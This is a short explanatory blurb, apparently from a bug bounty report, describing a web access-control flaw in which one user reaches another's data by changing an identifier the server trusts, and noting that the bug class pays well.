The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.